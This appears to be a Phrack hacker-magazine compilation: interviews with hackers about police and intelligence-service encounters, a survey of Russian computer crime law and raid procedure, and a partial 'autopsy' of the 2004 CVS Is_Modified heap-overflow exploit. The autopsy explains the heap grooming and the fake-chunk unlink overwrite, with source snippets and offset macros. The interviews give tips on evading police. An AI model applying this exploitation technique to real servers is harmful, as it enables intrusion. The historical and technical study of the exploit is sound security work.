<THE CIRCLE OF LOST HACKERS> QUESTION: are the troubles over now ?

yeah, troubles are completely over now. i got a fine, 75 german marks per cd, so i had to pay around 800 german marks. I am not previously convicted, no crime record at all. no civil action.

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Now that troubles are over, do you have some advices for hackers in your country, to avoid beeing busted, or to avoid having troubles like you did ?

hehe yeah, in short words:

a) Always crypt your ENTIRE harddisk

b) Do NOT own any, i repeat, any illegal warez cd. reason: any judge knows illegal copied cds. he understands that. so, like in my case, you get accused for hacking and you end up with a fine for illegal warez. Thats definitly not necessary. and, furthermore, you get your computer stuff back MUCH easier & faster if you dont have any warez cd. usually, they cant prove your hacking. but warez cd's are easy.

c) do not tell ANYTHING at the raid.

d) if you are really into trouble, go to a lawyer after the raid.

‑‑

<THE CIRCLE OF LOST HACKERS> Thanks for the interview WILLY !

De nada, you are welcomed ;)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Zac's interview

<THE CIRCLE OF LOST HACKERS> Hello Zac, nice to meet you .

Hi new staff, how's life ?

<THE CIRCLE OF LOST HACKERS> QUESTION: Can you tell us what kind of relationship you're (as a hacker) having with the police in your country ?

I live in France, as a hacker I never had troubles with justice . In my country, you can have troubles in case you are a stupid script kiddy (most of the time), or if you disturb (even very little) intelligence services . Actually we have very present special services inside the territory, whereas the police itself is too dumb to understand anything about computers . Some special non‑technical group called BEFTI usually deals with big warezers, dumb carders, or people breaking into businesses's PABX and doing free calls from there, and stuffs like that .

‑‑

<THE CIRCLE OF LOST HACKERS> Explain to us how you got into hacking, since when you are involved in the scene, and when you started to play with TCP/IP networks .

I started quite late in the 90' when I met friends who were doing warez and trying to start with hacking and phreaking . I have only a few years of experience on the net, but I learnt quite fast beeing always behind the screen, and now I know a lot of people, all around the world, on IRC and IRL .

Beside this, I had my first computer 15 years ago, owned many INTEL based computers, from 286 to Pentium II . I have now access to various hardware and use these ressources to do code . I used to share my work with other (both whitehats and blackhats) peoples, I dont hide myself particulary and I am not involved in any kind of dangerous illegal activity .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: When did you get into troubles for the first time ?

Last year (2001), when DST ('Direction de la Surveillance du Territoire', french inside‑territory intelligence services) contacted me and asked if I was still looking for a job . I said yes and accepted to meet them . I didnt know it was DST at that time, but I catched them using google ;) They first introduced themself from 'Ministere de l'Interieur', which is basicaly Ministery charged of police coordination and inside‑territory intelligence services . In another later interview, they told me they were DST, I'll call them 'the feds' .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: How did they find you ?

I still have no idea, I guess someone around me taught them about me . When I asked, they told me it was from one of the various (very few) businesses I had contacted at that time . Take care when you give your CV or anything, keep it encrypted when it travels on the net, because they probably sniff a lot of traffic . I also advise to mark it in a different way each time you give it, so that you can know from where it leaked using SE at the feds .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: Can you tell more about the organization ?

Some information about them has already been disclosed in french electronic fanzines like Core‑Dump (92') and NoWay (94'), both written by NeurAlien . I heard he got mad problem because of this, I dont really want to experiment the same stuff .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: is there other special services in your country who are involved in hacking ?

Besides DST, there is DGSE ('Direction General de la Securite Exterieur'), these guys most focuss on spying, military training, and information gathering outside the territory . There is also RG ('Renseignement generaux', trans. : General Information) , a special part of police which is used to gather various information about every sensible events happening . The rumor says there's always 1 RG in each public conference, meeting, etc and its not very difficult to believe .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: can you compare the organization with an equivalent one in another country ?

Their tasks is similar to CIA's and NSA's one I guess . DST and DGSE used to deal with terrorists and big drugs trafic networks also, they do not target hackers specifically, their task is much larger since they are the governemental intelligence services in France .

‑‑

<THE CIRCLE OF LOST HACKERS> Is DST skilled with computers ?

They ‑seem‑ quite skilled (not too much, but probably enough to bust a lot of hackers and keep them on tape if necessary) . They also used to recruite people in order to experiment all the new hacking techniques (wireless, etc) .

However, I feel like their first job is learning information, all the technical stuff looks like a hook to me . Moreover, they pay very bad, they'll argue that having their name on your CV will increase your chances to get high payed jobs in the future . Think twice before signing, this kind of person has very converging tendances to lie .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: what kind of information did they ask during the interviews ?

The first time, it was 2 hours long, and there was 2 guyz . One was obviously understanding a bit about hacking (talking about protocols, reverse engineering, he assimilated the vocabulary as least), the other one wasnt doing the difference between an exploit and a rootkit, and was probably the 'nice fed around' .

They asked everything about myself (origin, family, etc), one always taking notes, both asking questions, trying to appear like interrested in my life . They asked everything from the start to the end . They asked if the official activity I have right now wasnt too boring, who were the guy I was working with, in what kind of activity I was involved, and the nature of my personnal work . They also asked me if I was aware of 0day vulnerabilities into widely‑used software . I knew I add not to tell them anything, and try to get as much information about them during the interview . You can definitely grab some if you ask them questions . Usually, they will tell you 'Here I am asking the questions', but sometimes if you are smart, you can guess from where they got the information, what are their real technical skills level, etc .

At the end of the interview, they'll ask what they want to know if you didnt tell them . They can ask about groups they think you are friend with, etc . If you just tell them what is obviously known (like, 'oh yeah I heard about them, its a crew interrested in security, but I'm not in that group') and nothing else, its ok .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: What do you think they were really knowing ?

I guess they are quite smart, because they know a lot of stuff, and ask everything as if they were not knowing anything . This way, they can spot if you are lying or not . Also, if you tell them stuffs you judge irrevelant, they will probably use it during other interviews, in order to guess who you are linked to .

‑‑

<THE CIRCLE OF LOST HACKERS> QUESTION: are the troubles over now ?

I hope they will let me where I am, anyway I wont work for them, I taught a few friends of mine about it and they agreed with me . Their mind changes over time and government, I highly advise ‑NOT‑ to work for them unless you know EXACTLY what you are doing (you are a double agent or something lol) .

‑‑

<THE CIRCLE OF LOST HACKERS> do you have some advices for hackers in your country, to avoid beeing busted, or to avoid having troubles ?

Dont have a website, dont release shits, dont write articles, dont do conference, dont have a job in the sec. industry . In short : it's very hard . If they are interrested in the stuffs you do and hear about it, they'll have to meet you one day or another . They will probably just ask more about what you are doing, even if they have nothing against you . Dont forget you have the right to refuse an interview and refuse answering questions . I do not recommand to lie to them, because they will guess it easily (dont forget information leakage is their job) .

I advise all the hackers to talk more about feds in their respective groups because it helps not beeing fucked . Usually they will tell you before leaving 'Dont forget, all of this is CONFIDENTIAL', it is just their way to tell you 'Okay, thanks, see you next time !' . Dont be impressed, dont spread information on the net about a particular guy (targetted hacker, or fed), you'll obviously have troubles because of it, and its definitely not the good way to hope better deals with feds in the future . To FEDS: do not threat hackers and dont put them in jail, we are not terrorists . Dont forget, we talk about you to each other, and jailing one of us is like jailing all of us .

<THE CIRCLE OF LOST HACKERS> Thanks zac =)

At your service, later .

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Big Brother does Russia

by

ALiEN Assault

This file is a basic description of russian computer law related issues. Part 1 contains information gathered primarily from open sources. As this sources are all russian, information may be unknown to those who doesn't know russian language. Part 2 consists of instructions on computer crime investigation: raid guidelines and suspect's system exploration.

0 ‑ DISCLAIMER 1 ‑ LAW

1.1 ‑ Basic Picture 1.2 ‑ Criminal Code 1.3 ‑ Federal Laws 2 ‑ ORDER

2.1 ‑ Tactics of Raid 2.2 ‑ Examining a Working Computer 2.3 Expertise Assignment

‑‑[ 0.DISCLAIMER.

INFORMATION PROVIDED FOR EDUCATIONAL PURPOSES ONLY. IT MAY BE ILLEGAL IN YOUR COUNTRY TO BUST HACKERS. IT MUST BE ILLEGAL AT ALL. THERE ARE BETTER THINGS TO DO. EXPLORE YOURSELF AND THIS WORLD. SMILE. LIVE.

‑‑[ 1. LAW.

‑‑‑‑[ 1.1. Basic Picture.

Computer‑related lawsare very draft and poorly describes what are ones about. Seems that these are simply rewritten instructions from 60's *Power Computers* that took a truck to transport.

Commonsubjects of lawsuits include carding, phone piracy (mass LD service thievery) and... hold your breath... virii infected warez trade. Russia is a real warez heaven ‑ you can go to about every media shop and see lots of CDs with warez, and some even has "CRACKS AND SERIALS USAGE INSTRUCTIONS INCLUDED" written on front cover (along with "ALL RIGHTS RESERVED" on back)! To honour pirates, they include all .nfo files (sometimes from 4‑5 BBSes warez was courriered through). It is illegalbut not prosecuted. Only if warez are infected (and some VIP bought them and messed his system up) shop owners faces legal problems.

Hacking is *not that common*, as cops are rather dumb and busts mostly script kiddies for hacking their ISPs from home or sending your everyday trojans by email.

There are three main organisationsdealing with hi‑techcrime: FAPSI (FederalGovernment Communications and Information Agency ‑ mix of FCC and secret service), UKIB FSB (hi‑tech feds; stands for departamernt of computer and information security) and UPBSWT MVD (hi‑tech crime fightback dept.) which incorporates R unit (R for radio busts ham pirates and phreaks).

FSB (secretservice) alsoruns NIIT (IT research institute). This organisation deals withencryption (reading your PGPed mail), examination of malicious programs (revealingWindoze source) and restoration of damaged data (HEXediting saved games). NIIT is believed to possess all seized systems so they have tools to do the job.

UPBSWThas a set of special operations called SORM (operative and detective measuressystem). Media describes this as an Echelon/Carnivore‑like thing, but it also monitors phones and pagers. Cops claims that SORM is active only during major criminal investigations.

‑‑‑‑[ 1.2. Criminal Code.

Computer criminals are prosecuted according to this articles of the Code:

‑ 159:Felony. This mostly what carders have to do with, accompanied by caught‑in‑the‑act social engineers. Punishment varies from fine (minor, no criminal record) to 10 years prison term (organized and repeated crime).

‑ 272:Unauthorized access to computer information. Easy case will end up in

fine or up to 2 years probation term, while organized, repeated or involving "a person with access to a computer, computer complex or network" (!#$@!) crime may lead to5 years imprisonment. Added to this are weird comments on what are information, intrusion and information access.

‑ 273:Production, spreading and use of harmful computer programs. Sending

trojans by mail considered to be lame and punished by up to 3 years in prison. Part II says that "same deeds *carelessly* caused hard consequences" will result in from 3 to 7 years in jail.

‑ 274:Computer, computer complex or network usage rules breach. This one is

tough shit. In present, raw and somewhatconfused state this looks, say, *incorrect*. It needs that at least technically literate person should provide correct and clear definitions. After that clearances this could be useful thing: if someone gets into a poorly protected system,admin will have to take responsibility too. Punisment ranges from ceasing of right to occupy "defined" (defined where?) job positions to 2 years prison term (or 4 if something fucked up too seriously).

‑‑‑‑[ 1.3. Federal Law.

Most notable subject related laws are:

"On Information, Informatization and Information Security" (20.02.95). 5 chaptersof this law defines/* usually not

correct or even intelligent */ variousaspects of information and

related issues. Nothing really special or important ‑civil rights (nonexistent), other crap, but still having publicity (due toweird and easy‑to‑remember name i suppose) and about every journalist covering ITsec pastes this name into his article for serious look maybe.

"National Information Security Doctrine" (9.9.2K) is far more interesting. It will tell you how dangerous Information Superhighway is, and this isn't your average mass‑media horror story ‑ it's a real thing! Reader will know how hostile foreign governments are busy imlpementing some k‑rad mind control tekne3q to gain r00t on your consciousness; undercover groups around the globe are engaging in obscure infowarfare; unnamed but almighty worldwide forces also about to control information...ARRGGH! PHEAR!!!

{ALiEN special note: That's completely true. You suck Terrans. We'll own your planet soon and give all of you a nice heavy industry job}.

Liberal values are covered too (message is BUY RUSSIAN). Also there are some definitions (partly correct) on ITsec issues.

"On Federal Government Communications and Information" (19.2.93, patched 24.12.93 and 7.11.2K). Oh yes, this one is serious. Everyone is serious about his own communications ‑ what can i say? Main message is "RESPONSIBLES WILL BE FOUND. OTHERS KEEP ASIDE".

Interesting entity defined here is Cryptographic Human Resource a special unitof high qualified crypto professionals which must be founded by FAPSI. To be in Cryptographic Human Resource is to serve wherever you have retired or anything.

Also covered are rights of government communications personnel. They have no rightto engage inor to support strike. Basically they have no right to fight forrights. They don't have a right to publish or to tell mass‑media anything about their job without previous censorship by upper level management.

Cryptography issuesare covered in "On Information Security Tools Certification" (26.6.95 patched 23.4.96 and 29.3.99) and "On Electronic Digital Signature" (10.2.02). Notmuch to say about. Both mostly consists of strong definitions of certification procedures.

‑‑[ 2. ORDER.

‑‑‑‑[ 2.1. Tactics of Raid.

Given information is necessary for succesful raid. Tactics of raid strongly depends on previously obtained information.

It isnecessary to define time for raid and measures needed to conduct it suddenly and confidentially. In case of presence of information that suspect's computer contains criminal evidence data, it is better to begin raid when possibility that suspect is working on that computer is minimal.

Consult with specialists todefine what information could be stored in a computer and have adequate technics prepared to copy that information. Define all measures to prevent criminals from destroying evidence. Find raid witnesses who arefamiliar withcomputers (basicoperations, programs names etc.) to exclude possibility of posing raid results as erroneous at court. Specifity and complexity of manipulations with computer technics cannot be understood by illiterate,so this may destroyinvestigator's efforts on strengthening the value of evidence.

Witness' misunderstanding of what goes on may make court discard evidence. Depending on suspect's qualification and professional skills, define a computer technics professional to involve in investigation.

On arrival at the raid point is necessary to: enter fast and sudden to drive computer stored information destruction possibility to the minimum. When possible and reasonable, raid point power supply must be turned off.

Don't allow no one touch a working computer, floppy disks, turn computers on and off; if necessary, remove raid personnel from the raid point; don't allow no one turn power supply on and off; if the power supply was turned off at the beginning of raid, it is necessary to unplug all computers and peripherals before turning power supply on; don't manipulate computer technics in any manner that could provide inpredictable results.

After all above encounteredmeasures weretaken,it is necessary to preexamine computer technics to define what programs are working at the moment.If data destructionprogram is discovered active it should bestopped immediately and examination begins with exactly this computer. If computers are connected to local network,it is reasonable to examine server first, then working computers, then other computer technics and power sources.

‑‑‑‑[ 2.2. Examining a Working Computer.

During the examination of a working computer is necessary to:

‑ define what program is currently executing. This must be done by examining

the screen image that must be described in detail in raid protocol. While necessary, it should be photographed or videotaped. Stop running program and fix results of this action in protocol, describing changes occured on computer screen;

‑ define presence of external storage devices: a hard drive (a winchester*),

floppy and ZIP type drives, presence of a virtual drive (a temporary disc which is beingcreated on computer startupfor increasing performance speed) and describe this data in a protocolof raid;

‑ define presence of remote system access devices and also the current state of

ones (local network connection, modem presence), after what disconnect the computer and modem, describing results of that in a protocol;

‑ copy programs and files from the virtual drive (if present) to the floppy disk or to

a separate directory of a hard disk;

‑ turn the computer off and continue with examining it. During this is necessary to

describe ina raid protocol and appended scheme the location of computer and peripheral devices (printer, modem, keyboard, monitor etc.) the purpose of every device, name, serial number, configuration (presence and type of disk drives, network cards, slots etc.), presence of connection to local computing network and (or) telecommunication networks, state of devices (are there tails of opening);

‑ accurately describe the order of mentioned devices interconnection, marking

(if necessary) connector cables and plug ports, and disconnect computer devices.

‑ Define, with the help from specialist, presence ofnonstandard apparatus inside

the computer, absence of microschemes, disabling of an inner power source (an accumulator);

‑ pack (describing location where were found in a protocol) storage disks and

tapes. Package maybe special diskette tray and also common paper and plastic bags, excluding ones not preventing the dust (pollutions etc.) contact with disk or tape surface;

‑ packevery computer device and connector cable. To prevent unwanted

individuals' access, it is necessary to place stamps on system block stick the power button andpower plug slot with adhesive tape and stick the front and side panels mounting details (screws etc.) too.

If it is necessary to turn computer back on during examination, startup is performed with a prepared boot diskette, preventing user programs from start.

* winchester ‑ obsolete mainstream tech speak for a hard drive. Seems to be of western origin but i never met this term in western sources. Common shortage is "wint".

‑‑‑‑[ 2.3. Expertise Assignment.

Expertise assignment is an important investigation measure for such cases.General and most important part of such an expertise is technical program (computer technics) expertise. MVD (*) divisions have no experts conducting such expertises at thecurrent time,so it is possible to conduct such type of expertisesat FAPSI divisions or to involve adequately qualified specialists from other organisations.

Technical program expertise is to find answers on following:

‑ what information contains floppy disks and system blocks presented to expertise?

‑ What is its purpose and possible use?

‑ What programs contains floppy disks and system blocks presented to expertise?

‑ What is their purpose and possible use?

‑ Are there any text files on floppy disks and system blocks presented to expertise?

‑ If so, what is their content and possible use?

‑ Is there destroyed information on floppy disks presented to expertise?

‑ If so, is it possible to recover that information?

‑ What is that information and what is its possible use?

‑ What program products contains floppy disks presented to expertise?

‑ What are they content, purpose and possible use?

‑ Are betweenthose programs ones customized forpasswords guessing or

otherwise gaining an unauthorizedcomputer networks access?

‑ If so, what are their names, work specifications, possibilities of usage to

penetrate defined computer network?

‑ Are there evidence of defined program usage to penetrate the abovementioned network?

‑ If so, what is that evidence?

‑ What is chronological sequence of actions necessary to start defined program

or to conduct defined operation?

‑ Is it possible to modify program files while working in a given computer network?

‑ If so, what modifications can be done, how can they be done and from what computer?

‑ Is it possible to gain access to confidential information through mentioned network?

‑ How such access is being gained?

‑ How criminal penetration of the definedlocal computer network was

committed?

‑ Whatis the evidence of such penetration?

‑ If this penetration involvedremote access, what are the possibilites of identifying an

originating computer?

‑ If an evidence of a remote user intrusion is absent, is it possible to point computers from

which such operations can be done?

Questions may be asked about compatibility of this or that programs; possibilities of running a program on defined computer etc. Along with these, experts can be asked on purpose of this or that device related to computer technics:

‑ what is the purpose of a given device, possible use?

‑ What is special with its construction?

‑ What parts does it consist of?

‑ Is it industrial or a homemade product?

‑ If it is a homemade device, what kind of knowledge and in what kind of science and technology do its maker possess, what is his professional skill level?

‑ With what other devices could this device be used together?

‑ What are technical specifications of a given device?

Given methodic recommendments are far from complete list of questions that could be asked in such investigations but still does reflect the important aspects of such type of criminal investigation.

* MVD (Ministry of Inner Affairs) ‑ Russian police force.

CREDITS

The art of exploitation

_

_/B\_ W\_

(* *) Phrack #64 file 14 (* *)

| ‑ |

| | The art of Exploitation: | |

| |

| | Come back on a exploit | |

| |

| | by vl4d1m1r of Ac1dB1tch3z | |

(___________________________

Dear Underground, starting from this release, the Circle of Lost Hackers decided to publish in each release a come back on a public exploit known from a long time. This section could be called 'autopsy of an exploit'.

The idea is to explain the technical part of a famous exploit as well as its story, post‑mortem. Here we start with the CVS "Is‑modified" exploit who leaked in 2004.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PRELUDE

Exploitation is an art.

Coding an exploit can be an art form in itself. To code a true exploit, you need the total control on the system. To achieve this feat, we usually need to understand, analyze and master every pieces of the puzzle. Nothing is left to chance. The art of exploitation is to make the exploit targetless, ultimately oneshot. To go further the simple pragmatic exploitation. Make it more than a simple proof of concept shit. Put all your guts in it. Try to bypass existing protection techniques.

A nice exploit is a great artwork, but confined to stay in the shadow. The inner working are only known by its authors and the rare code readers searching to pierce its mysteries. Its for the latter ones that this section was created. For the ones who are hungry about the information that hides behind the source code.

This is the only reason behind the "r34d 7h3 c0d3 d00d" of the usage() function in this exploit : to force people to read the code, appreciate what you have in hand. Not to provide them a new tools or a new weapons but make them understand the various technical aspects of it.

Each exploit is built following a particular methodology. We need to deeply analyze all the possibilities of the memory allocations until we master all of its parameters, often to a point where even the original programmers were ignoring these technical aspects. It is about venturing yourselves in the twists and turns, the complexity of the situation and finally discovering all the various opportunities that are available to you. To see what the fate has to offer us, the various potentials at our disposal. To make something out of it. Try to take out the best from the situation. When you'll get through this invisible line, the line that separates the simple proof of concept code from the best exploit possible, the one that guarantees you a shell every time, you could then say that the creation of an art form has just begun. The joy of gazing at your own piece of work leveraging a simple memory overwrite to a full workable exploit. It is a technical jewel of creativity and determination to bring a small computer bug to its full potential.

Who has never rooted a server with the exploit 'x2'? Who never waited in front of his screen, watching the different steps, waiting for it to realize the great work it was made for ? But, how many people really understood the dichotomies of 'x2' and how it worked ? What was really happening behind what was printed on the screen, in this unfinished version of the exploit that got leaked and abused?

Beyond the pragmatic kiddie who wants to get an access, this section aims at being the home for those who are motivated by curiosity, by the artistic sensibility at such exploits. This section is not meant to learn others how to own a server, but instead to teach them how the exploit is working. It is a demystification of the few exploits that leaked in the past of the underground to become in the public domain. It is about exploits that have been over exploited by a mass of incompetent people. This section is for people who can see, not for people who are only good at fetching what really have value.

In fact, this section is about making justice to the original exploit. It is a return on what really deserves attention. At a certain point in time, the required level of comprehension to achieve a successful exploitation reaches the edge of insanity. The spirit melts with madness, we temporarily loose all kind of rationality and we enter a state of illumination.

It's the fanaticism of the passionate that brings this to its full extent, at his extreme, demonstrate that it's possible to transcend the well known, to prove we can always achieve more, It is about pushing the limits. And then we enter the artistic creation,

No, we are not moving away, but we are instead getting closer to the reality that hides behind an exploit. Only a couple of real exploits have been made public. The authors of them are generally smart enough to keep them private. Despite this, leaks happen for various reasons and generally it's a beginner error.

The real exploit is not the one that has 34 targets, but only one, namely all at the same time. An exploit that takes a simple heap overflow and makes it work against GRsec, remotely and with ET_DYN on the binary. You will probably use this exploit only once in your whole life, but the most important part is the work accomplished by the authors to create it. The important part is the love they put in creating it.

Maybe you'll learn nothing new from this exploit. In fact, the real goal is not to give you new exploitation techniques. You are grown up enough to read manuals, find your own techniques, make something out of the possibilities offered to you, the goal is to simply give back some praise to this arcane of obscured code forsaken from most of the people, this pieces of code which have been disclosed but still stay misunderstood.

A column with the underground spirit, the real, for the expert and the lover of art. For the one who can see.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The CVS "Is_Modified" exploit

vl4d1m1r of ac1db1tch3z

vd@phrack.org

1 ‑ Overview

2 ‑ The story of the exploit

3 ‑ The Linux exploitation: Using malloc voodoo

4 ‑ A couple of words on the BSD exploitation

5 ‑ Conclusion

‑‑[ 1 ‑ Overview

We will, through this article, show you how the exploitation under the Linux operating system was made possible, and then study the BSD case. Both exploitation techniques are different and they both lead to a targetless and "oneshot" scenario. Remember that the code is 3‑years old. I know that since, the glibc library has included a lot of changes in its malloc code. Foremost, with glibc 2.3.2, the flag MAIN_ARENA appeared, the FRONTLINK macro was removed and there was the addition of a new linked list, the "fast_chunks". Then, since version 2.3.5, the UNLINK() macro was patched in a way to prevent a "write 4 bytes to anywhere" primitive. Last but not least, on the majority of the systems, the heap is randomized by default along with the stack. But it was not the case at the time of this exploit. The goal of this article, as it was explained earlier, is not to teach you new techniques but instead to explain you what were the techniques used at that time to exploit the bug.

‑‑[ 2 ‑ The story of the exploit

This bug has originally been found by [CENSORED]. A first proof of concept code was coded by kujikiri of ac1db1tch3z in 2003. The exploit was working but only for a particular target. It was not reliable because all the parameters of the exploitable context were not taken into account. The main advantage of the code was that it could authenticate itself to the CVS server and trigger the bug, which represents an important part in the development of an exploit.

The bug was then showed to another member of the ac1db1tch3z team. It's at that moment that we finally decided to code a really reliable exploit to be use in the wild. A first version of the exploit was coded for Linux. It was targetless but it needed about thirty connexions to succeed. This first version of the exploit submitted some addresses to the CVS server in order to determine if they were valid or not by looking if the server crashed or not.

Then another member ported the exploit for the *BSD platform. As a result, a targetless and "oneshot" exploit was born. As a challenge, I tried to came up with the same result for the Linux version, and my perseverance finally paid back. Meanwhile, a third member found an interesting functionality in CVS, that wont be presented here, that gives the possibility to bruteforce the three mandatory parameters necessary for a successful exploitation: the cvsroot, the login and the password.

It took me one night of passion (nothing sexual) to gather all those three pieces of code into one, and the result was cvs_freebsd_linux.c, which was later leaked. Another member of the underground later coded a Solaris version, but without the targetless and "oneshot" functionality. This exploit won't be presented here.

This bug, as a matter of fact, was later "discovered" by Stefan Esser and disclosed by e‑matters. We had a doubt that Stefan Esser himself found that exact same bug which was known in the underground. Even if he hadn't done so, he later redeemed himself while auditing the CVS source code with a fellow of his and by finding a certain number of other bugs. This proves he is able to find bugs, whatever.

The code was finally made public by [CENSORED] who signed it with "The Axis of Eliteness", and bragged about the fact that he already rooted every i interesting targets currently available. It was not a great lost, even though it made a pinch at the heart to see publicly that opensource CVS servers went compromised.

‑‑[ 3 ‑ The Linux exploitation: Using malloc voodoo

The original flaw was a basic heap overflow. Indeed, it was possible to overwrite the heap with data under our control, and even to insert non alphanumeric characters without buffer length restrictions. It was a typical scenario.

Moreover, and that's what is wonderful with the CVS server, by analyzing the different possibilities, we figured out that it was quite easy to force some calls to malloc() of an arbitrary size and chose the ones that we want to free(), with little restrictions.

The funny thing is, when I originally coded the Linux version of the exploit, I did not know that it was possible to overwrite the memory space with completely arbitrary data. I thought that the only characters that you could overwrite memory with were 'M' and 0x4d. I had not analyzed the bug enough because I was quickly trying to find an interesting exploitation vector with the information I already had in my hands. Consequently, the Linux version exploits the bug like a simple overflow with the 0x4d character.

The first difficulty that you meet with the heap, is that it's pretty unstable for various reasons. A lot of parameters change the memory layout, such as the amount of memory allocations that were already performed, the IP address of the server and other internal parameters of the CVS server. Consequently, the first step of the process is to try to normalize the heap and to put it in a state where we have complete control over it. We need to know exactly what is happening on the remote machine: to be sure about the state of the heap.

A small analysis of the possibilities that the heap offers us reveal this:

I had to analyze the various possibilities of memory allocation offered by the CVS server. Fortunately, the code was quite simple. I quickly found, by analyzing all the malloc() and free() calls, that I could allocate memory buffers with the "Entry" command.

The function that accomplishes this is serve_entry, the code is quite straightforward:

static void serve_entry (arg)

char *arg;

{

struct an_entry *p; char *cp;

[...] cp = arg; [...] p = xmalloc (sizeof (struct an_entry)); cp = xmalloc (strlen (arg) + 2); strcpy (cp, arg); p‑>next = entries; [1] p‑>entry = cp;

entries = p;

}

Inside this function, which takes as an argument a pointer to a string that we control, there is a memory allocation of the following structure:

struct an_entry {

struct an_entry *next; char *entry;

} ;

Then, memory for the parameter will be allocated and assigned to the field "entry" of the previously allocated "an_entry" structure that we already defined, as you can see in [1]. This structure is then added to the linked list of entries tracked by the global variable "struct an_entry * entries".

Therefore, if we are Ok with the fact that small "an_entry" structures are getting allocated in between our controlled buffers, we can then use this vector to allocate memory whenever we want.

Now, if we want to call a free(), we can use the CVS "noop" command which calls the "server_write_entries()" function. Here is a code snippet from this function:

static void server_write_entries () {

struct an_entry *p; struct an_entry *q;

[...] for (p = entries; p != NULL;)

{

[...] free (p‑>entry); q = p‑>next; free (p); p = q; }

entries = NULL;

}

As you can see, all the previously allocated entries will now be free(). Note that when we talk about an 'entry' here, we refer to a pair of structure an_entry with his ‑>entry field that we control.

Considering the fact that all the buffers that we allocated will be freed, this technique suits us well. Note that there were other possibilities less restrictive but this one is convenient enough.

So, we know now how to allocate memory buffers with arbitrary data in it, even with non alphanumeric characters, and how to free them too.

Let's come back to the original flaw that we did not described yet. The vulnerable command was "Is_Modified" and the function looked like this:

static void serve_is_modified (arg)

char *arg;

{

struct an_entry *p; char *name; char *cp; char *timefield;

for (p = entries; p != NULL; p = p‑>next) {

[1] name = p‑>entry + 1;

cp = strchr (name, '/'); if (cp != NULL && strlen (arg) == cp ‑ name && strncmp (arg, name, cp ‑ name) == 0)

{

if (*timefield == '/') {

[...] cp = timefield + strlen (timefield);

cp[1] = '\0'; while (cp > timefield) { [2] *cp = cp[‑1];

‑‑cp;

}

} *timefield = 'M'; break; }

}

}

As you can see, in [2], after adding an entry with the "Entry" command, it was possible to add some 'M' characters at the end of the entries previously inserted in the "entries" linked list. This was possible for the entries of our choice. The code is explicit enough so I don't detail it more.

We now have all the necessary information to code a working exploit. Immediately after we have established a connection, the method used to normalize the heap and put it in a known state is to use the "Entry" command. With this particular command, we can add buffers of an arbitrary size.

The fill_heap() function does this. The macro MAX_FILL_HEAP tells the maximum number of holes that we could find in the heap. It is set at a high value, to anticipate for any surprise. We start by allocating many big buffers to fill the majority of the holes. Then, we continue to allocate a lot of small buffers to fill all the remaining smaller holes.

At this stage, we have no holes in our heap.

Now, if we sit back and think a little bit, we know that the heap layout will looked something like this:

[...][an_entry][buf1][an_entry][buf2][an_entry][bufn][top_chunk]

Note : During the development of the exploit, I modified the malloc code to add functions of my own that I preloaded with LD_PRELOAD. This modified version would then generate various heap schemes to help me debug the heap. Note that some hackers use heap simulators to know the heap state during the development process. These heap simulators can be simply a gdb script or something using the libncurses. Any tools which can represent the heap state is useful.

Once the connection was established and the fill_heap() function was called, we knew the exact layout of the heap.

The challenge was now to corrupt a malloc chunk, insert a fake chunk and make a call to free() to trigger the UNLINK() macro with 'fd' and 'bk' under our control. This would let us overwrite 4 arbitrary bytes anywhere in memory. This is quite easy to do when you have the heap in a predictable state. We know that we can overflow "an_entry‑>entry" buffers of our choice. We will also inevitably overwrite what's located after this buffer, either the top chunk or the next "an_entry" structure if we have previously allocated one with another "Entry". We will try to use the latter technique because we don't want to corrupt the top chunk.

Notice: From now on, since the UNLINK macro now contains security checks, we could instead use an overflow of the top chunk and trigger a call to set_head() to exploit the program, as explained in another article of this issue.

Practically, we know that chunk headers are found right before the allocated memory space. Let's focus on the interesting part of the memory layout at the time of the overflow:

[struct malloc_chunk][an_entry][struct malloc_chunk][buf][...][top_chunk]

By calling the function "Is_modified" with the name of the entry that we want to corrupt, we will overwrite the "an_entry" structure located after the current buffer. So, the idea is to overwrite the "size" field of a struct an_entry, so it become bigger than before and when free will compute the offset to the next chunk it will directly fall inside the controlled part of the ‑>entry field of this struct an_entry. So, we only need to add an "Entry" with a fake malloc chunk at the right offset. See :

#define NUM_OFF7 (sizeof("Entry ")) #define MSIZE 0x4c #define MALLOC_CHUNKSZ 8 #define AN_ENTRYSZ 8 #define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ) #define FAKECHUNK MSIZE MAGICSZ + (NUM_OFF7 ‑ 1)

The offset is FAKECHUNK.

Let's sum up all the process at this point:

1. The function fill_heap() fills all the holes in the heap by sending a lot of entry thanks to the Entry command..

2. We add 2 entries : the first one named "ABC", and another one with the name "dummy". The ‑>entry field of "ABC" entry will be overflowed and so the malloc_chunk of the struct an_entry "dummy" will be modified.

3. We call the function "Is_modified" with "ABC" as a parameter, numerous times in a row until we hit the size field of the malloc_chunk. This has for effect to add 'M' at the end of the buffer, outside its bound. Inside the ‑>entry field of the "dummy" entry we have a fake malloc_chunk at the FAKECHUNK offset.

4. If we now call the function "noop", it will have for effect to free() the linked list "entries". Starting from the end, the entry "dummy", and its associated "an_entry" structure, the entry "ABC" and its associated "an_entry" structure will be freed. Finally, all the "an_entry" structures that we used to fill the holes in the heap will also be freed. So, the magic occurs during the free of the an_entry of "dummy".

The exact malloc voodoo is like this :

We have overwritten with 'M' characters the "size" field of the malloc chunk of the "an_entry" structure next to our "ABC" buffer. From there, if we free() the "an_entry" structure that had its "size" field corrupted, free() will try to get to the next memory chunk at the address of the chunk + 'M'. It will bring us exactly inside a buffer that we have control on, which is the buffer "dummy". Consequently, if we can insert a fake chunk at the right offset, we are able to write 4 bytes anywhere in memory.

From this point, 90% of the job is already done!

